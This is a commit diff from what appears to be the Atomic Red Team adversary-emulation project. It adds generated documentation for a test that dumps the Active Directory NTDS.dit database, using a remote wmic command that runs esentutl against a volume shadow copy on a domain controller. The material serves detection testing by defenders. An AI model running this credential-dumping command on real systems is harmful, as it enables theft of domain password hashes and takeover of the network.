security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci]

Browse Source
This commit is contained in:
CircleCI Atomic Red Team doc generator
2022-02-09 15:14:59 +00:00
parent 0c6399feb1
commit 4f16aad6f9
6 changed files with 105 additions and 12 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/T1003.003/T1003.003.md
+54 -4
View File
@@ -24,9 +24,11 @@ The following tools and techniques can be used to enumerate the NTDS file and th
- [Atomic Test #5 - Create Volume Shadow Copy remotely with WMI](#atomic-test-5---create-volume-shadow-copy-remotely-with-wmi)
- [Atomic Test #6 - Create Volume Shadow Copy with Powershell](#atomic-test-6---create-volume-shadow-copy-with-powershell)
- [Atomic Test #6 - Create Volume Shadow Copy remotely (WMI) with esentutl](#atomic-test-6---create-volume-shadow-copy-remotely-wmi-with-esentutl)
- [Atomic Test #7 - Create Symlink to Volume Shadow Copy](#atomic-test-7---create-symlink-to-volume-shadow-copy)
- [Atomic Test #7 - Create Volume Shadow Copy with Powershell](#atomic-test-7---create-volume-shadow-copy-with-powershell)
- [Atomic Test #8 - Create Symlink to Volume Shadow Copy](#atomic-test-8---create-symlink-to-volume-shadow-copy)
<br/>
@@ -306,7 +308,55 @@ echo Sorry, can't connect to target host, check: network, firewall or permission
<br/>
<br/>
## Atomic Test #6 - Create Volume Shadow Copy with Powershell
## Atomic Test #6 - Create Volume Shadow Copy remotely (WMI) with esentutl
This test is intended to be run from a remote workstation with domain admin context.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy created with esentutl.
**Supported Platforms:** Windows
**auto_generated_guid:** 21c7bf80-3e8b-40fa-8f9d-f5b194ff2865
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| source_path | File to shadow copy | String | c:&#92;windows&#92;ntds&#92;ntds.dit|
| target_path | Target path of the result file | String | c:&#92;ntds.dit|
| target_host | IP Address / Hostname you want to target | String | localhost|
#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)
```cmd
wmic /node:"#{target_host}" process call create "cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}"
```
#### Dependencies: Run with `command_prompt`!
##### Description: Target must be a reachable Domain Controller, and current context must be domain admin
##### Check Prereq Commands:
```cmd
wmic /node:"#{target_host}" shadowcopy list brief
```
##### Get Prereq Commands:
```cmd
echo Sorry, can't connect to target host, check: network, firewall or permissions (must be admin on target)
```
<br/>
<br/>
## Atomic Test #7 - Create Volume Shadow Copy with Powershell
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
@@ -341,7 +391,7 @@ The Active Directory database NTDS.dit may be dumped by copying it from a Volume
<br/>
<br/>
## Atomic Test #7 - Create Symlink to Volume Shadow Copy
## Atomic Test #8 - Create Symlink to Volume Shadow Copy
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.